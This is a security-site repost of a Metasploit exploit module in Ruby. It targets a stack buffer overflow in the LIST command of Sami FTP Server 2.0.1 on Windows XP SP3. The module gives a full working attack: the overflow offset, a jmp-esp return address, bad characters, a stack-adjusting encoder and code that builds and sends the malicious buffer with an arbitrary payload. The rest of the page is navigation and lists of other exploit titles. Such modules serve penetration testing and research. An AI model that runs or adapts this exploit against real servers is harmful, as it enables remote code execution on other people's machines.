首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Sami FTP Server LIST Command Buffer Overflow
来源:metasploit.com 作者:Prostko 发布时间:2013-03-20  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#	http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
	Rank = LowRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'			 => 'Sami FTP Server LIST Command Buffer Overflow',
			'Description'	 => %q{
					This module exploits a stack based buffer overflow on Sami FTP Server 2.0.1.
				The vulnerability exists in the processing of LIST commands. In order to trigger
				the vulnerability, the "Log" tab must be viewed in the Sami FTP Server managing
				application, in the target machine. On the other hand, the source IP address used
				to connect with the FTP Server is needed. If the user can't provide it, the module
				will try to resolve it. This module has been tested successfully on Sami FTP Server
				2.0.1 over Windows XP SP3.
			},
			'Platform'		 => 'win',
			'Author'		 =>
				[
					'superkojiman', # Original exploit
					'Doug Prostko <dougtko[at]gmail.com>' # MSF module
				],
			'License'		 => MSF_LICENSE,
			'References'	 =>
				[
					[ 'OSVDB', '90815'],
					[ 'BID', '58247'],
					[ 'EDB', '24557']
				],
			'Privileged'	 => false,
			'Payload'		 =>
				{
					'Space'          => 1500,
					'DisableNops'    => true,
					'BadChars'       => "\x00\x0a\x0d\x20\x5c",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
				},
			'Targets'		 =>
				[
					[ 'Sami FTP Server 2.0.1 / Windows XP SP3',
						{
							'Ret' => 0x10028283, # jmp esp from C:\Program Files\PMSystem\Temp\tmp0.dll
							'Offset'   => 228
						}
					],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Feb 27 2013'))
		register_options(
			[
				OptAddress.new('SOURCEIP', [false, 'The local client address'])
			], self.class)
	end

	def exploit
		connect
		if datastore['SOURCEIP']
			ip_length = datastore['SOURCEIP'].length
		else
			ip_length = Rex::Socket.source_address(rhost).length
		end
		buf = rand_text(target['Offset'] - ip_length)
		buf << [ target['Ret'] ].pack('V')
		buf << rand_text(16)
		buf << payload.encoded
		send_cmd( ['LIST', buf], false )
		disconnect
	end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·OpenPLI Webif Arbitrary Comman
·Sami FTP Server 2.0.1 PUT Comm
·Nitro Pro 8.0.3.1 - Crash PoC
·Cool PDF Image Stream Buffer O
·Google Chrome 21.0.1180.57 NUL
·BlazeVideo HDTV Player 6.6.0.2
·Fedora Linux SOCK_DIAG Local R
·TP-Link TL-WR740N Wireless Rou
·Ruby Gem Curl Command Executio
·EastFTP ActiveX Control 0Day
·Ruby Gem Minimagic Command Exe
·Apache Struts ParametersInterc
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved